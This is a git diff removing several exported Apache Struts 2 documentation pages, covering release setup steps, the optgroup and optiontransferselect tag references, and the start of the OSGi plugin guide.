-      &lt;username&gt; &lt;!-- YOUR APACHE LDAP USERNAME --&gt; &lt;/username&gt;
-      &lt;password&gt; &lt;!-- YOUR APACHE LDAP PASSWORD --&gt; &lt;/password&gt;
-    &lt;/server&gt;
-    &lt;!-- To stage a website of some part of Maven --&gt;
-    &lt;server&gt;
-      &lt;id&gt;stagingSite&lt;/id&gt; &lt;!-- must match hard-coded repository identifier in site:stage-deploy --&gt;
-      &lt;username&gt; &lt;!-- YOUR APACHE LDAP USERNAME --&gt; &lt;/username&gt;
-      &lt;filePermissions&gt;664&lt;/filePermissions&gt;
-      &lt;directoryPermissions&gt;775&lt;/directoryPermissions&gt;
-    &lt;/server&gt;
-  &lt;/servers&gt;
-  &lt;profiles&gt;
-    &lt;profile&gt;
-      &lt;id&gt;apache-release&lt;/id&gt;
-      &lt;properties&gt;
-        &lt;gpg.passphrase&gt; &lt;!-- YOUR KEY PASSPHRASE --&gt; &lt;/gpg.passphrase&gt;
-      &lt;/properties&gt;
-    &lt;/profile&gt;
-  &lt;/profiles&gt;
-&lt;/settings&gt;
-</pre>
-</div></div>
-
-<h3 id="Onetimesteps-IncreaseMemorySettingsforMaven">Increase Memory Settings for Maven</h3>
-
-<p>To complete a full build and all the tests, it may be neccesary to increase the amount of memory available to Maven. The simplest thing is to set an environment variable.</p>
-<ul><li><code>MAVEN_OPTS=-Xmx512m</code> or even <code>MAVEN_OPTS=-Xmx1024m</code></li></ul>
-
-
-<h2 id="Onetimesteps-Resources">Resources</h2>
-
-<ul><li>Apache Struts <a shape="rect" class="external-link" href="http://struts.apache.org/releases.html#Releases">Release Guidelines</a></li><li><a shape="rect" class="external-link" href="http://wiki.apache.org/struts/StrutsMaintenanceMaven">Struts Maintenance Guide for Maven </a></li><li><a shape="rect" class="external-link" href="http://apache.org/dev/release-signing.html">Signing Releases</a></li><li><a shape="rect" class="external-link" href="http://wiki.wsmoak.net/cgi-bin/wiki.pl? [...]
-
-
-<h2 id="Onetimesteps-Retagging">Retagging</h2>
-
-<p>If a tagged build needs to be retagged, be sure to delete the old tag first.</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-svn delete https://svn.apache.org/repos/asf/struts/struts2/tags/STRUTS_#_#_# -m "WW-### Removing first try at 2.#.#."
-</pre>
-</div></div>
-
-<h2 id="Onetimesteps-Amendingalogentry">Amending a log entry</h2>
-
-<p>If the commit was fine, but the log was wrong, updating the log entry is easy. For example,</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&gt; svn propset --revprop -r 504523 svn:log "WW-1715 Branch for 2.0.x at Struts 2.0.6-SNAPSHOT r504196"
-&gt; property 'svn:log' set on repository revision 504523
-</pre>
-</div></div>
-<p>See <code>svn help propset</code> for more.</p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/optgroup.html b/content/docs/optgroup.html
deleted file mode 100644
index 50bcfca..0000000
--- a/content/docs/optgroup.html
+++ /dev/null
@@ -1,187 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>optgroup</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="tag-developers-guide.html">Tag Developers Guide</a>&nbsp;&gt;&nbsp;<a href="struts-tags.html">Struts Tags</a>&nbsp;&gt;&nbsp;<a href="tag-reference.html">Tag Reference</a>&nbsp;&gt;&nbsp;<a href="ui-tag-reference.html">UI Tag Reference</a>&nbsp;&gt;&nbsp;<a href="optgroup.html">optgroup</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">optgroup</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14170">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14170">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14170">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14170">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14170">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14170">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><div class="confluence-information-macro confluence-information-macro-note"><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>Please make sure you have read the <a shape="rect" href="tag-syntax.html">Tag Syntax</a> document and understand how tag attribute syntax works.</p></div></div>
-
-<h2 id="optgroup-Description">Description</h2>
-
-<p></p><p>
-Create a optgroup component which needs to resides within a select tag.
-</p>
-
-<div class="confluence-information-macro confluence-information-macro-note"><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<p></p><p>
-This component is to be used within a  Select component.
-</p>
- </div></div>
-
-<h2 id="optgroup-Parameters">Parameters</h2>
-
-<p><table width="100%"><tr><td colspan="6" rowspan="1"><h4>Dynamic Attributes Allowed:</h4> false</td></tr><tr><td colspan="6" rowspan="1">&#160;</td></tr><tr><th align="left" colspan="1" rowspan="1" valign="top"><h4>Name</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Required</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Default</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Evaluated</h4></th><th align="left" colspan="1" rows [...]
-
-
-<h2 id="optgroup-Examples">Examples</h2>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: xml; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-
-&lt;s:select label=&quot;My Selection&quot;
-           name=&quot;mySelection&quot;
-           value=&quot;%{&#39;POPEYE&#39;}&quot;
-           list=&quot;%{#{&#39;SUPERMAN&#39;:&#39;Superman&#39;, &#39;SPIDERMAN&#39;:&#39;spiderman&#39;}}&quot;&gt;
-   &lt;s:optgroup label=&quot;Adult&quot;
-                list=&quot;%{#{&#39;SOUTH_PARK&#39;:&#39;South Park&#39;}}&quot; /&gt;
-   &lt;s:optgroup label=&quot;Japanese&quot;
-                list=&quot;%{#{&#39;POKEMON&#39;:&#39;pokemon&#39;,&#39;DIGIMON&#39;:&#39;digimon&#39;,&#39;SAILORMOON&#39;:&#39;Sailormoon&#39;}}&quot; /&gt;
-&lt;/s:select&gt;
-
-]]></script>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/optiontransferselect.html b/content/docs/optiontransferselect.html
deleted file mode 100644
index 1f434ed..0000000
--- a/content/docs/optiontransferselect.html
+++ /dev/null
@@ -1,216 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>optiontransferselect</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="tag-developers-guide.html">Tag Developers Guide</a>&nbsp;&gt;&nbsp;<a href="struts-tags.html">Struts Tags</a>&nbsp;&gt;&nbsp;<a href="tag-reference.html">Tag Reference</a>&nbsp;&gt;&nbsp;<a href="ui-tag-reference.html">UI Tag Reference</a>&nbsp;&gt;&nbsp;<a href="optiontransferselect.html">optiontransferselect</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">optiontransferselect</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13943">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13943">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13943">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13943">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13943">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13943">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><div class="confluence-information-macro confluence-information-macro-note"><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<p>Please make sure you have read the <a shape="rect" href="tag-syntax.html">Tag Syntax</a> document and understand how tag attribute syntax works.</p></div></div>
-<div class="confluence-information-macro confluence-information-macro-note"><p class="title">Important</p><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<p></p><p>
-Note that the doublelistkey and doublelistvalue attribute will default to "key" and "value"
-respectively only when the doublelist attribute is evaluated to a Map or its descendant.
-Other thing else, will result in doublelistkey and doublelistvalue to be null and not used.
-</p>
-</div></div>
-
-<h2 id="optiontransferselect-Description">Description</h2>
-
-<p></p><p>
-Create a option transfer select component which is basically two &lt;select ...&gt;
-tag with buttons in the middle of them allowing options in each of the
-&lt;select ...&gt; to be moved between themselves. Will auto-select all its
-elements upon its containing form submision.
-</p>
-<p></p><p>
-NOTE: The id and doubleId need not be supplied as they will generated provided
-that the optiontransferselect tag is being used in a form tag. The generated id
-and doubleId will be &lt;form_id&gt;_&lt;optiontransferselect_nameame&gt; and
-&lt;form_id&gt;_&lt;optiontransferselect_doubleName&gt; respectively.
-</p>
-
-
-<h2 id="optiontransferselect-Parameters">Parameters</h2>
-
-<p><table width="100%"><tr><td colspan="6" rowspan="1"><h4>Dynamic Attributes Allowed:</h4> false</td></tr><tr><td colspan="6" rowspan="1">&#160;</td></tr><tr><th align="left" colspan="1" rowspan="1" valign="top"><h4>Name</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Required</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Default</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Evaluated</h4></th><th align="left" colspan="1" rows [...]
-
-<h2 id="optiontransferselect-Examples">Examples</h2>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: xml; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-
-&lt;-- minimum configuration --&gt;
-&lt;s:optiontransferselect
-     label=&quot;Favourite Cartoons Characters&quot;
-     name=&quot;leftSideCartoonCharacters&quot;
-     list=&quot;{&#39;Popeye&#39;, &#39;He-Man&#39;, &#39;Spiderman&#39;}&quot;
-     doubleName=&quot;rightSideCartoonCharacters&quot;
-     doubleList=&quot;{&#39;Superman&#39;, &#39;Mickey Mouse&#39;, &#39;Donald Duck&#39;}&quot;
- /&gt;
-
- &lt;-- possible configuration --&gt;
- &lt;s:optiontransferselect
-     label=&quot;Favourite Cartoons Characters&quot;
-     name=&quot;leftSideCartoonCharacters&quot;
-     leftTitle=&quot;Left Title&quot;
-     rightTitle=&quot;Right Title&quot;
-     list=&quot;{&#39;Popeye&#39;, &#39;He-Man&#39;, &#39;Spiderman&#39;}&quot;
-     multiple=&quot;true&quot;
-     headerKey=&quot;headerKey&quot;
-     headerValue=&quot;--- Please Select ---&quot;
-     emptyOption=&quot;true&quot;
-     doubleList=&quot;{&#39;Superman&#39;, &#39;Mickey Mouse&#39;, &#39;Donald Duck&#39;}&quot;
-     doubleName=&quot;rightSideCartoonCharacters&quot;
-     doubleHeaderKey=&quot;doubleHeaderKey&quot;
-     doubleHeaderValue=&quot;--- Please Select ---&quot;
-     doubleEmptyOption=&quot;true&quot;
-     doubleMultiple=&quot;true&quot;
- /&gt;
-
-]]></script>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/osgi-plugin.data/struts-osgi.jpg b/content/docs/osgi-plugin.data/struts-osgi.jpg
deleted file mode 100644
index dd03772..0000000
Binary files a/content/docs/osgi-plugin.data/struts-osgi.jpg and /dev/null differ
diff --git a/content/docs/osgi-plugin.html b/content/docs/osgi-plugin.html
deleted file mode 100644
index b51ba31..0000000
--- a/content/docs/osgi-plugin.html
+++ /dev/null
@@ -1,425 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>OSGi Plugin</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="plugin-developers-guide.html">Plugin Developers Guide</a>&nbsp;&gt;&nbsp;<a href="osgi-plugin.html">OSGi Plugin</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">OSGi Plugin</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=114995">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=114995">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=114995">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=114995">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=114995">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=114995">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><h2 id="OSGiPlugin-Overview">Overview</h2>
-<div class="confluence-information-macro confluence-information-macro-note"><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<p>This plugin is only experimental and can change in the future.</p></div></div>
-
-<p>This plugin provides support for starting an instance of Apache Felix inside a web application, and scanning installed bundles for Struts configuration. An admin bundle is also provided. It can be used with Glassfish 3 as well (Glassfish 3 based on Apache Felix as well), but in such a way <code>struts.osgi.host</code> must be defined.</p>
-
-<h2 id="OSGiPlugin-Features">Features</h2>
-
-<ul><li>GUI for bundle administration</li><li>Web access to Felix Shell</li><li>Application packages can be divided into bundles</li><li>Supports Velocity and FreeMarker templates</li><li>Supports Struts Spring integration</li><li>Supports integration with the Convention plugin</li></ul>
-
-
-<h2 id="OSGiPlugin-MissingFeatures">Missing Features</h2>
-
-<ul><li>Probably can't access application classes from bundles, including Spring classes</li><li><em>constant</em> declarations in the bundled XML config files are ignored, these constants need to be set in the application XML config files (struts.xml)</li></ul>
-
-
-<h2 id="OSGiPlugin-AboutRunlevels">About Run levels</h2>
-<p>There are two ways of organizing bundles. If third party bundles will not be used, then the application bundles can just be placed under <code>/WEB-INF/classes/bundles</code>. Bundles in this dir will be started in run level 2, the Apache Felix framework's bundles will be loaded in run level 1. If third parties bundles will be used, or you need to start bundles on different run level, create sub dirs under <code>/WEB-INF/classes/bundles</code> with numeric names (starting from "2" bec [...]
-
-<h2 id="OSGiPlugin-SimpleUsage">Simple Usage</h2>
-
-<p>Add these lines to MANIFEST.MF:</p>
-<div class="preformatted panel" style="border-width: 1px;"><div class="preformattedContent panelContent">
-<pre>Struts2-Enabled: true
-Export-Package: com.mycompany.myapp.actions
-Bundle-Version: 1.0.0
-Bundle-SymbolicName: foo.actions
-Import-Package: com.opensymphony.xwork2
-</pre>
-</div></div>
-<p>Now the jar is ready to be deployed.  Drop the jar into the <code>/WEB-INF/classes/bundles</code> directory and it will automatically be installed when the application starts up.</p>
-
